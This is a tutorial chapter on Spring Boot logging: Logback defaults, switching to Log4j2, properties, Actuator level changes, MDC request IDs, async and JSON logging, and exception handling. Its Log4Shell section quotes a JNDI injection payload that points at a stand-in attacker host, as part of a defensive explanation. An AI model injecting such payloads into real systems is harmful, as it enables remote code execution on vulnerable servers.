Logging in Spring Boot & Production

#Introduction

Spring Boot configures logging for you out of the box. This chapter covers what it does by default, how to switch to Log4j2, how to control logging with properties, and the techniques production systems rely on: request IDs with MDC, asynchronous and JSON logging, runtime level changes, and keeping logging secure.

#The Default: SLF4J + Logback

Every Spring Boot starter pulls in spring-boot-starter-logging, which provides SLF4J + Logback, plus bridges so libraries that use JUL or Log4j APIs are routed to the same place. With no configuration at all you get:

• console output at INFO level;
• a colour-coded pattern with timestamp, level, process ID, thread and logger name.

2026-07-23T10:15:30.123+05:30  INFO 12345 --- [demo] [           main] c.e.demo.EmployeeService                 : Employee Saved

#Switching to Log4j2

Exclude the default logging starter and add the Log4j2 starter:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
    <exclusions>
        <exclusion>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-logging</artifactId>
        </exclusion>
    </exclusions>
</dependency>

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>

Then add src/main/resources/log4j2-spring.xml (see Log4j2 Architecture & Configuration). Your Java code doesn't change — it still uses SLF4J.

#Configuring Logging with Properties

For most applications, application.properties is enough — no XML needed:

# Levels — root and per package
logging.level.root=INFO
logging.level.com.example=DEBUG
logging.level.org.springframework.web=INFO
logging.level.org.hibernate.SQL=DEBUG

# Write to a file (in addition to the console)
logging.file.name=logs/application.log

# Patterns
logging.pattern.console=%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n

# Rolling and retention (Logback)
logging.logback.rollingpolicy.max-file-size=100MB
logging.logback.rollingpolicy.max-history=30
logging.logback.rollingpolicy.total-size-cap=5GB

Levels can also be set with environment variables, which is handy in containers: LOGGING_LEVEL_COM_EXAMPLE=DEBUG.

Profile-Specific Logging

# application-dev.properties
logging.level.com.example=DEBUG

# application-prod.properties
logging.level.com.example=INFO

In log4j2-spring.xml (or logback-spring.xml) you can do the same with profile blocks:

<SpringProfile name="prod">
    <Root level="INFO">
        <AppenderRef ref="Rolling"/>
    </Root>
</SpringProfile>

#Changing Levels at Runtime with Actuator

With Spring Boot Actuator and the loggers endpoint exposed, you can switch a package to DEBUG on a running server — no restart:

management.endpoints.web.exposure.include=health,info,loggers

curl -X POST http://localhost:8080/actuator/loggers/com.example.payment \
     -H "Content-Type: application/json" \
     -d '{"configuredLevel":"DEBUG"}'

Set it back to INFO (or null to inherit) when you're done.

#MDC — Tracing a Request Across Log Lines

In a busy server, log lines from hundreds of requests interleave. The Mapped Diagnostic Context (MDC) attaches values such as a request ID to every log line written by the current thread:

@Component
public class RequestIdFilter extends OncePerRequestFilter {

    @Override
    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response,
                                    FilterChain chain) throws ServletException, IOException {
        String requestId = Optional.ofNullable(request.getHeader("X-Request-Id"))
                                   .orElse(UUID.randomUUID().toString());
        MDC.put("requestId", requestId);
        response.setHeader("X-Request-Id", requestId);
        try {
            chain.doFilter(request, response);
        } finally {
            MDC.clear();   // threads are pooled — always clean up
        }
    }
}

Add it to the pattern with %X{requestId}:

%d{HH:mm:ss.SSS} [%t] %-5level [%X{requestId}] %c{1} - %m%n

10:15:30.101 [exec-3] INFO  [9f1c2a7e] OrderController - Placing order
10:15:30.140 [exec-7] INFO  [3b77d0c1] OrderController - Placing order
10:15:30.188 [exec-3] ERROR [9f1c2a7e] PaymentService - Payment failed

Now you can find every line of one request — or, passed along in a header, across several microservices. Spring Boot with Micrometer Tracing adds traceId and spanId to the MDC automatically.

#Asynchronous Logging

Writing to disk on the request thread adds latency. Log4j2's async loggers hand log events to a background thread using the lock-free LMAX Disruptor:

<!-- Mix async and sync loggers in log4j2-spring.xml -->
<Loggers>
    <AsyncLogger name="com.example" level="INFO" additivity="false">
        <AppenderRef ref="Rolling"/>
    </AsyncLogger>
    <Root level="INFO">
        <AppenderRef ref="Console"/>
    </Root>
</Loggers>

All-async mode is enabled with the system property log4j2.contextSelector=org.apache.logging.log4j.core.async.AsyncLoggerContextSelector (and the com.lmax:disruptor dependency). With Logback, wrap appenders in an AsyncAppender.

#Structured (JSON) Logging

Log aggregation tools (ELK / OpenSearch, Grafana Loki, Datadog, Splunk) search JSON far better than free text. Spring Boot 3.4+ can emit structured logs with a property:

# formats: ecs, logstash or gelf
logging.structured.format.console=ecs

{"@timestamp":"2026-07-23T04:45:30.123Z","log.level":"INFO","process.thread.name":"exec-3","log.logger":"com.example.OrderController","message":"Placing order","requestId":"9f1c2a7e"}

Older versions use Log4j2's JsonTemplateLayout or the logstash-logback-encoder.

#Log4Shell — the Log4j2 Vulnerability Every Developer Should Know

In December 2021, CVE-2021-44228 ("Log4Shell") showed that Log4j2 versions 2.0-beta9 to 2.14.1 evaluated JNDI lookups inside logged messages. Logging attacker-controlled text such as a header containing ${jndi:ldap://attacker.example/a} could make the server download and run remote code. It was one of the most serious vulnerabilities ever found in Java.

• Fixed in 2.15–2.17.1; use the latest 2.x (2.17.1 or later at a minimum).
• Spring Boot's default Logback setup wasn't affected, but applications that switched to Log4j2 were.
• The lesson: keep logging libraries patched, check dependency trees for old versions (mvn dependency:tree), and treat log input as untrusted.

#Logging Exceptions Properly

// ❌ Stack trace lost
logger.error("Payment failed: " + e.getMessage());

// ❌ Logged here AND again by every caller that catches and rethrows
logger.error("Payment failed", e);
throw e;

// ✅ Log once, with context and the exception, where it's actually handled
logger.error("Payment failed for order {}", orderId, e);

A good rule: log where you handle the exception, not at every layer it passes through. In Spring, a @ControllerAdvice is a natural single place to log unexpected exceptions.

#What to Log — and What Not to Log

#Key Takeaways

• Spring Boot defaults to SLF4J + Logback via spring-boot-starter-logging.
• Switch to Log4j2 by excluding that starter everywhere and adding spring-boot-starter-log4j2.
• logging.level.*, logging.file.name and logging.pattern.* cover most needs without XML.
• MDC request IDs make concurrent logs traceable; clear them in finally.
• Async and JSON logging suit high-volume production systems.
• Log4Shell is a reminder to patch dependencies and treat logs as sensitive.